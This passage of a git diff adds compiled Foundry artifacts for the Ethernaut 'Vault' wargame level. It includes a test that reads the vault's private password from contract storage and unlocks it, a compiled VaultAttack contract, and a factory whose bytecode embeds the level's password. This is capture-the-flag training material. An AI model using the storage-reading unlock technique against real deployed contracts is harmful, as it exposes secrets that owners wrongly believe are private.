1"}],"id":65097,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1811:7:150","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":65096,"name":"uint256","nodeType":"ElementaryTypeName","src":"1811:7:150","typeDescriptions":{}}},"id":65099,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1811:10:150","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":65095,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1803:7:150","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes32_$","typeString":"type(bytes32)"},"typeName":{"id":65094,"name":"bytes32","nodeType":"ElementaryTypeName","src":"1803:7:150","typeDescriptions":{}}},"id":65100,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1803:19:150","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"id":65088,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1776:2:150","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":65089,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1779:4:150","memberName":"load","nodeType":"MemberAccess","referencedDeclaration":12605,"src":"1776:7:150","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$_t_bytes32_$returns$_t_bytes32_$","typeString":"function (address,bytes32) view external returns (bytes32)"}},"id":65101,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1776:47:150","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"nodeType":"VariableDeclarationStatement","src":"1757:66:150"},{"expression":{"arguments":[{"id":65106,"name":"password","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65087,"src":"1849:8:150","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"id":65103,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64949,"src":"1833:8:150","typeDescriptions":{"typeIdentifier":"t_contract$_Vault_$55405","typeString":"contract Vault"}},"id":65105,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1842:6:150","memberName":"unlock","nodeType":"MemberAccess","referencedDeclaration":55404,"src":"1833:15:150","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_bytes32_$returns$__$","typeString":"function (bytes32) external"}},"id":65107,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1833:25:150","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65108,"nodeType":"ExpressionStatement","src":"1833:25:150"},{"expression":{"arguments":[{"arguments":[{"id":65111,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64946,"src":"1900:9:150","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"id":65114,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64949,"src":"1919:8:150","typeDescriptions":{"typeIdentifier":"t_contract$_Vault_$55405","typeString":"contract Vault"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Vault_$55405","typeString":"contract Vault"}],"id":65113,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1911:7:150","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":65112,"name":"address","nodeType":"ElementaryTypeName","src":"1911:7:150","typeDescriptions":{}}},"id":65115,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1911:17:150","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_address","typeString":"address"}],"id":65110,"name":"submitLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66571,"src":"1880:19:150","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_address_$returns$_t_bool_$","typeString":"function (contract Ethernaut,address) returns (bool)"}},"id":65116,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1880:49:150","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":65109,"name":"assertTrue","nodeType":"Identifier","overloadedDeclarations":[287,302],"referencedDeclaration":287,"src":"1869:10:150","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":65117,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1869:61:150","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65118,"nodeType":"ExpressionStatement","src":"1869:61:150"}]},"documentation":{"id":65077,"nodeType":"StructuredDocumentation","src":"1638:44:150","text":"@notice Test the solution for the level."},"functionSelector":"832e5fc2","implemented":true,"kind":"function","modifiers":[],"name":"testSolve","nameLocation":"1696:9:150","parameters":{"id":65078,"nodeType":"ParameterList","parameters":[],"src":"1705:2:150"},"returnParameters":{"id":65079,"nodeType":"ParameterList","parameters":[],"src":"1715:0:150"},"scope":65121,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":64940,"name":"Test","nameLocations":["350:4:150"],"nodeType":"IdentifierPath","referencedDeclaration":12027,"src":"350:4:150"},"id":64941,"nodeType":"InheritanceSpecifier","src":"350:4:150"},{"baseName":{"id":64942,"name":"Utils","nameLocations":["356:5:150"],"nodeType":"IdentifierPath","referencedDeclaration":66673,"src":"356:5:150"},"id":64943,"nodeType":"InheritanceSpecifier","src":"356:5:150"}],"canonicalName":"TestVault","contractDependencies":[49101,55464,56450,58028],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[65121,66673,12027,11975,6655,6330,5537,3477,2695,65,62],"name":"TestVault","nameLocation":"337:9:150","scope":65122,"usedErrors":[],"usedEvents":[100,104,108,112,116,120,124,128,134,140,148,156,162,168,174,180,185,190,195,202,209,216]}],"license":"MIT"},"id":150} \ No newline at end of file diff --git a/contracts/out/VaultAttack.sol/VaultAttack.json b/contracts/out/VaultAttack.sol/VaultAttack.json new file mode 100644 index 000000000..6c15f8cf9 --- /dev/null +++ b/contracts/out/VaultAttack.sol/VaultAttack.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"attack","inputs":[{"name":"_target","type":"address","internalType":"address"},{"name":"_password","type":"bytes32","internalType":"bytes32"}],"outputs":[],"stateMutability":"nonpayable"}],"bytecode":{"object":"0x608060405234801561000f575f80fd5b5061013c8061001d5f395ff3fe608060405234801561000f575f80fd5b5060043610610029575f3560e01c80634b2ca2101461002d575b5f80fd5b61004061003b3660046100c4565b610042565b005b6040517fec9b5b3a00000000000000000000000000000000000000000000000000000000815260048101829052829073ffffffffffffffffffffffffffffffffffffffff82169063ec9b5b3a906024015f604051808303815f87803b1580156100a9575f80fd5b505af11580156100bb573d5f803e3d5ffd5b50505050505050565b5f80604083850312156100d5575f80fd5b823573ffffffffffffffffffffffffffffffffffffffff811681146100f8575f80fd5b94602093909301359350505056fea26469706673582212201e8a61a5809050d30aae2f17f5b17c743ebf433a973b2799eab2ef0bbb9231f264736f6c63430008180033","sourceMap":"89:166:58:-:0;;;;;;;;;;;;;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405234801561000f575f80fd5b5060043610610029575f3560e01c80634b2ca2101461002d575b5f80fd5b61004061003b3660046100c4565b610042565b005b6040517fec9b5b3a00000000000000000000000000000000000000000000000000000000815260048101829052829073ffffffffffffffffffffffffffffffffffffffff82169063ec9b5b3a906024015f604051808303815f87803b1580156100a9575f80fd5b505af11580156100bb573d5f803e3d5ffd5b50505050505050565b5f80604083850312156100d5575f80fd5b823573ffffffffffffffffffffffffffffffffffffffff811681146100f8575f80fd5b94602093909301359350505056fea26469706673582212201e8a61a5809050d30aae2f17f5b17c743ebf433a973b2799eab2ef0bbb9231f264736f6c63430008180033","sourceMap":"89:166:58:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;116:137;;;;;;:::i;:::-;;:::i;:::-;;;223:23;;;;;;;;542:25:155;;;205:7:58;;223:12;;;;;;515:18:155;;223:23:58;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;175:78;116:137;;:::o;14:377:155:-;82:6;90;143:2;131:9;122:7;118:23;114:32;111:52;;;159:1;156;149:12;111:52;198:9;185:23;248:42;241:5;237:54;230:5;227:65;217:93;;306:1;303;296:12;217:93;329:5;381:2;366:18;;;;353:32;;-1:-1:-1;;;14:377:155:o","linkReferences":{}},"methodIdentifiers":{"attack(address,bytes32)":"4b2ca210"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_target\",\"type\":\"address\"},{\"internalType\":\"bytes32\",\"name\":\"_password\",\"type\":\"bytes32\"}],\"name\":\"attack\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/attacks/VaultAttack.sol\":\"VaultAttack\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"src/attacks/VaultAttack.sol\":{\"keccak256\":\"0x80a292534f45f5d3ea93e97acaa7c6f55149c87fc7808be906ecd727e851b973\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f844cd37bb815341bf10fa8118c8e75abf31d0433681179d6d143eccdaa74071\",\"dweb:/ipfs/Qmb4uZwtvxvq6KdBCvW2jg8zkbUbpLf3BBLczYi2UUuJ4J\"]},\"src/levels/Vault.sol\":{\"keccak256\":\"0xa9dc29eec754730aa7083f52b45d76f6df613eb6d5bdb15b67d408ef2f3a8527\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://0675c9cbade01d0ea4d023fc3fe83eedad8af92a2b138ac36a4629f179d94b3b\",\"dweb:/ipfs/QmbeBCYvLiqRgg9NLJBgYFfT768HVMbNLWBFe8Z2KrFQ1h\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"_target","type":"address"},{"internalType":"bytes32","name":"_password","type":"bytes32"}],"stateMutability":"nonpayable","type":"function","name":"attack"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/attacks/VaultAttack.sol":"VaultAttack"},"evmVersion":"shanghai","libraries":{}},"sources":{"src/attacks/VaultAttack.sol":{"keccak256":"0x80a292534f45f5d3ea93e97acaa7c6f55149c87fc7808be906ecd727e851b973","urls":["bzz-raw://f844cd37bb815341bf10fa8118c8e75abf31d0433681179d6d143eccdaa74071","dweb:/ipfs/Qmb4uZwtvxvq6KdBCvW2jg8zkbUbpLf3BBLczYi2UUuJ4J"],"license":"MIT"},"src/levels/Vault.sol":{"keccak256":"0xa9dc29eec754730aa7083f52b45d76f6df613eb6d5bdb15b67d408ef2f3a8527","urls":["bzz-raw://0675c9cbade01d0ea4d023fc3fe83eedad8af92a2b138ac36a4629f179d94b3b","dweb:/ipfs/QmbeBCYvLiqRgg9NLJBgYFfT768HVMbNLWBFe8Z2KrFQ1h"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/attacks/VaultAttack.sol","id":49855,"exportedSymbols":{"Vault":[55405],"VaultAttack":[49854]},"nodeType":"SourceUnit","src":"33:223:58","nodes":[{"id":49831,"nodeType":"PragmaDirective","src":"33:23:58","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":49832,"nodeType":"ImportDirective","src":"58:29:58","nodes":[],"absolutePath":"src/levels/Vault.sol","file":"../levels/Vault.sol","nameLocation":"-1:-1:-1","scope":49855,"sourceUnit":55406,"symbolAliases":[],"unitAlias":""},{"id":49854,"nodeType":"ContractDefinition","src":"89:166:58","nodes":[{"id":49853,"nodeType":"FunctionDefinition","src":"116:137:58","nodes":[],"body":{"id":49852,"nodeType":"Block","src":"175:78:58","nodes":[],"statements":[{"assignments":[49841],"declarations":[{"constant":false,"id":49841,"mutability":"mutable","name":"vault","nameLocation":"191:5:58","nodeType":"VariableDeclaration","scope":49852,"src":"185:11:58","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Vault_$55405","typeString":"contract Vault"},"typeName":{"id":49840,"nodeType":"UserDefinedTypeName","pathNode":{"id":49839,"name":"Vault","nameLocations":["185:5:58"],"nodeType":"IdentifierPath","referencedDeclaration":55405,"src":"185:5:58"},"referencedDeclaration":55405,"src":"185:5:58","typeDescriptions":{"typeIdentifier":"t_contract$_Vault_$55405","typeString":"contract Vault"}},"visibility":"internal"}],"id":49845,"initialValue":{"arguments":[{"id":49843,"name":"_target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49834,"src":"205:7:58","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":49842,"name":"Vault","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55405,"src":"199:5:58","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Vault_$55405_$","typeString":"type(contract Vault)"}},"id":49844,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"199:14:58","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Vault_$55405","typeString":"contract Vault"}},"nodeType":"VariableDeclarationStatement","src":"185:28:58"},{"expression":{"arguments":[{"id":49849,"name":"_password","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49836,"src":"236:9:58","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"id":49846,"name":"vault","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49841,"src":"223:5:58","typeDescriptions":{"typeIdentifier":"t_contract$_Vault_$55405","typeString":"contract Vault"}},"id":49848,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"229:6:58","memberName":"unlock","nodeType":"MemberAccess","referencedDeclaration":55404,"src":"223:12:58","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_bytes32_$returns$__$","typeString":"function (bytes32) external"}},"id":49850,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"223:23:58","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":49851,"nodeType":"ExpressionStatement","src":"223:23:58"}]},"functionSelector":"4b2ca210","implemented":true,"kind":"function","modifiers":[],"name":"attack","nameLocation":"125:6:58","parameters":{"id":49837,"nodeType":"ParameterList","parameters":[{"constant":false,"id":49834,"mutability":"mutable","name":"_target","nameLocation":"140:7:58","nodeType":"VariableDeclaration","scope":49853,"src":"132:15:58","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":49833,"name":"address","nodeType":"ElementaryTypeName","src":"132:7:58","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":49836,"mutability":"mutable","name":"_password","nameLocation":"157:9:58","nodeType":"VariableDeclaration","scope":49853,"src":"149:17:58","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":49835,"name":"bytes32","nodeType":"ElementaryTypeName","src":"149:7:58","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"131:36:58"},"returnParameters":{"id":49838,"nodeType":"ParameterList","parameters":[],"src":"175:0:58"},"scope":49854,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[],"canonicalName":"VaultAttack","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[49854],"name":"VaultAttack","nameLocation":"98:11:58","scope":49855,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":58} \ No newline at end of file diff --git a/contracts/out/VaultFactory.sol/VaultFactory.json b/contracts/out/VaultFactory.sol/VaultFactory.json new file mode 100644 index 000000000..2051c4f6d --- /dev/null +++ b/contracts/out/VaultFactory.sol/VaultFactory.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"createInstance","inputs":[{"name":"_player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"payable"},{"type":"function","name":"owner","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"renounceOwnership","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"transferOwnership","inputs":[{"name":"newOwner","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"validateInstance","inputs":[{"name":"_instance","type":"address","internalType":"address payable"},{"name":"","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"event","name":"OwnershipTransferred","inputs":[{"name":"previousOwner","type":"address","indexed":true,"internalType":"address"},{"name":"newOwner","type":"address","indexed":true,"internalType":"address"}],"anonymous":false}],"bytecode":{"object":"0x608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6105378061007a5f395ff3fe608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b61008561008036600461035e565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d8366004610380565b61017a565b6040519015158152602001610099565b3480156100f8575f80fd5b5061007061010736600461035e565b6101e8565b61011461027d565b61011d5f6102d6565b565b5f807f412076657279207374726f6e67207365637265742070617373776f7264203a2990505f816040516101529061033d565b908152602001604051809103905ff080158015610171573d5f803e3d5ffd5b50949350505050565b5f80839050806001600160a01b031663cf3090126040518163ffffffff1660e01b8152600401602060405180830381865afa1580156101bb573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101df91906103b7565b15949350505050565b6101f061027d565b6001600160a01b0381166102715760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b61027a816102d6565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610268565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b61012b806103d783390190565b6001600160a01b038116811461027a575f80fd5b5f6020828403121561036e575f80fd5b81356103798161034a565b9392505050565b5f8060408385031215610391575f80fd5b823561039c8161034a565b915060208301356103ac8161034a565b809150509250929050565b5f602082840312156103c7575f80fd5b81518015158114610379575f80fdfe608060405234801561000f575f80fd5b5060405161012b38038061012b83398101604081905261002e91610043565b5f805460ff191660019081179091555561005a565b5f60208284031215610053575f80fd5b5051919050565b60c5806100665f395ff3fe6080604052348015600e575f80fd5b50600436106030575f3560e01c8063cf309012146034578063ec9b5b3a146053575b5f80fd5b5f54603f9060ff1681565b604051901515815260200160405180910390f35b6062605e3660046079565b6064565b005b80600154036076575f805460ff191690555b50565b5f602082840312156088575f80fd5b503591905056fea26469706673582212207b33413ba2b7819b53cd6dde86cd94fa6012a86e564954bd7fe304a301c4d31864736f6c63430008180033a26469706673582212209f9de7b0055679f686e363bf2e86ca6c69da9b2d77f3566564d3ebd2d691aadd64736f6c63430008180033","sourceMap":"108:478:113:-:0;;;;;;;;;;;;-1:-1:-1;936:32:23;719:10:34;936:18:23;:32::i;:::-;108:478:113;;2433:187:23;2506:16;2525:6;;-1:-1:-1;;;;;2541:17:23;;;-1:-1:-1;;;;;;2541:17:23;;;;;;2573:40;;2525:6;;;;;;;2573:40;;2506:16;2573:40;2496:124;2433:187;:::o;108:478:113:-;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b61008561008036600461035e565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d8366004610380565b61017a565b6040519015158152602001610099565b3480156100f8575f80fd5b5061007061010736600461035e565b6101e8565b61011461027d565b61011d5f6102d6565b565b5f807f412076657279207374726f6e67207365637265742070617373776f7264203a2990505f816040516101529061033d565b908152602001604051809103905ff080158015610171573d5f803e3d5ffd5b50949350505050565b5f80839050806001600160a01b031663cf3090126040518163ffffffff1660e01b8152600401602060405180830381865afa1580156101bb573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101df91906103b7565b15949350505050565b6101f061027d565b6001600160a01b0381166102715760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b61027a816102d6565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610268565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b61012b806103d783390190565b6001600160a01b038116811461027a575f80fd5b5f6020828403121561036e575f80fd5b81356103798161034a565b9392505050565b5f8060408385031215610391575f80fd5b823561039c8161034a565b915060208301356103ac8161034a565b809150509250929050565b5f602082840312156103c7575f80fd5b81518015158114610379575f80fdfe608060405234801561000f575f80fd5b5060405161012b38038061012b83398101604081905261002e91610043565b5f805460ff191660019081179091555561005a565b5f60208284031215610053575f80fd5b5051919050565b60c5806100665f395ff3fe6080604052348015600e575f80fd5b50600436106030575f3560e01c8063cf309012146034578063ec9b5b3a146053575b5f80fd5b5f54603f9060ff1681565b604051901515815260200160405180910390f35b6062605e3660046079565b6064565b005b80600154036076575f805460ff191690555b50565b5f602082840312156088575f80fd5b503591905056fea26469706673582212207b33413ba2b7819b53cd6dde86cd94fa6012a86e564954bd7fe304a301c4d31864736f6c63430008180033a26469706673582212209f9de7b0055679f686e363bf2e86ca6c69da9b2d77f3566564d3ebd2d691aadd64736f6c63430008180033","sourceMap":"108:478:113:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1831:101:23;;;;;;;;;;;;;:::i;:::-;;145:250:113;;;;;;:::i;:::-;;:::i;:::-;;;-1:-1:-1;;;;;589:55:155;;;571:74;;559:2;544:18;145:250:113;;;;;;;;1201:85:23;;;;;;;;;;-1:-1:-1;1247:7:23;1273:6;-1:-1:-1;;;;;1273:6:23;1201:85;;401:183:113;;;;;;;;;;-1:-1:-1;401:183:113;;;;;:::i;:::-;;:::i;:::-;;;1222:14:155;;1215:22;1197:41;;1185:2;1170:18;401:183:113;1057:187:155;2081:198:23;;;;;;;;;;-1:-1:-1;2081:198:23;;;;;:::i;:::-;;:::i;1831:101::-;1094:13;:11;:13::i;:::-;1895:30:::1;1922:1;1895:18;:30::i;:::-;1831:101::o:0;145:250:113:-;219:7;255:16;:53;;;318:14;345:8;335:19;;;;;:::i;:::-;1395:25:155;;;1383:2;1368:18;335:19:113;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;318:36:113;145:250;-1:-1:-1;;;;145:250:113:o;401:183::-;493:4;509:14;532:9;509:33;;560:8;-1:-1:-1;;;;;560:15:113;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;559:18;;401:183;-1:-1:-1;;;;401:183:113:o;2081:198:23:-;1094:13;:11;:13::i;:::-;-1:-1:-1;;;;;2169:22:23;::::1;2161:73;;;::::0;-1:-1:-1;;;2161:73:23;;1915:2:155;2161:73:23::1;::::0;::::1;1897:21:155::0;1954:2;1934:18;;;1927:30;1993:34;1973:18;;;1966:62;2064:8;2044:18;;;2037:36;2090:19;;2161:73:23::1;;;;;;;;;2244:28;2263:8;2244:18;:28::i;:::-;2081:198:::0;:::o;1359:130::-;1247:7;1273:6;-1:-1:-1;;;;;1273:6:23;719:10:34;1422:23:23;1414:68;;;;-1:-1:-1;;;1414:68:23;;2322:2:155;1414:68:23;;;2304:21:155;;;2341:18;;;2334:30;2400:34;2380:18;;;2373:62;2452:18;;1414:68:23;2120:356:155;2433:187:23;2506:16;2525:6;;-1:-1:-1;;;;;2541:17:23;;;;;;;;;;2573:40;;2525:6;;;;;;;2573:40;;2506:16;2573:40;2496:124;2433:187;:::o;-1:-1:-1:-;;;;;;;;:::o;14:154:155:-;-1:-1:-1;;;;;93:5:155;89:54;82:5;79:65;69:93;;158:1;155;148:12;173:247;232:6;285:2;273:9;264:7;260:23;256:32;253:52;;;301:1;298;291:12;253:52;340:9;327:23;359:31;384:5;359:31;:::i;:::-;409:5;173:247;-1:-1:-1;;;173:247:155:o;656:396::-;732:6;740;793:2;781:9;772:7;768:23;764:32;761:52;;;809:1;806;799:12;761:52;848:9;835:23;867:31;892:5;867:31;:::i;:::-;917:5;-1:-1:-1;974:2:155;959:18;;946:32;987:33;946:32;987:33;:::i;:::-;1039:7;1029:17;;;656:396;;;;;:::o;1431:277::-;1498:6;1551:2;1539:9;1530:7;1526:23;1522:32;1519:52;;;1567:1;1564;1557:12;1519:52;1599:9;1593:16;1652:5;1645:13;1638:21;1631:5;1628:32;1618:60;;1674:1;1671;1664:12","linkReferences":{}},"methodIdentifiers":{"createInstance(address)":"7726f776","owner()":"8da5cb5b","renounceOwnership()":"715018a6","transferOwnership(address)":"f2fde38b","validateInstance(address,address)":"d38def5b"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"